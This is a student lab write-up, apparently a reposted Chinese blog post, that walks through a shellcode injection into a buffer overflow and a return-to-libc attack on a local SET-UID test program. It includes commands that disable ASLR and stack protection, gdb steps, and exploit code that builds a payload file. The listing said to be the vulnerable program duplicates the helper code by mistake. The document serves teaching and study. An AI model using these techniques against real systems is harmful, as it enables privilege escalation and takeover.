20145218张晓涵 PC平台逆向破解_advanced

---恢复内容开始---

# 20145218张晓涵 PC平台逆向破解_advanced ## shellcode注入 ### 基础知识 - shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码。 - Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被攻击者利用系统的漏洞送入系统中执行。 - Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。我们采用anything+retaddr+nops+shellcode的方法。需要是找到返回地址和shellcode的地址,然后通过修改返回地址,让程序自动执行shellcode - Bof攻击防御技术
root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space //查看地址随机化状态,0关闭,2开启

实践过程

  • 修改设置,需要先sudo apt-get install exestack进行安装,安装完成后输入以下命令

  • 构造要注入的payload,x01x02x03x04填写返回的地址

  • 用命令(cat input_shellcode; cat) > ./20145218注入这段攻击并执行文件

  • 打开一个新终端,查找20145218pwn1的UID,UID号为2330

  • gdb调试

  • 对foo函数进行反汇编,以此找到函数的返回地址,我们要将返回地址覆盖,指向我们的shellcode代码

  • 图中0x01020304的位置0xffffd32c是返回地址的位置,我们的shellcode的地址为0xffffd330

  • 将返回地址修改为0xffffd330重新注入,成功

Return-to-libc 攻击实验

  • 缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。
  • 不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

实践过程

  • 更新软件库,sudo apt-get update,安装配置环境

  • 将地址随机化关闭

  • 把sh指向zsh

  • 编写5218retlib.c,保存到/tmp目录下,编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制。

#include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char const *argv[])
    {
     char *ptr;
    
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
", argv[1], ptr);
     return 0;
    }
  • 编写并编译getenvaddr.c,用来读取环境变量的,代码如下
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char const *argv[])
    {
     char *ptr;
    
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
", argv[1], ptr);
     return 0;
    }
  • 编写攻击程序,放到tmp目录下
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
    
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    
     *(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
     *(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
     *(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }
  • 获取 BIN_SH 地址

  • 编译攻击程序,使用gdb获取system 和 exit 的地址

  • vim进入exploit.c,将BIN_SH,system 和 exit

  • 将之前编译生成的文件和运行生成的badfile文件删掉,重新编译执行

  • 成功了!

原文地址:https://www.cnblogs.com/senlinmilelu/p/6637213.html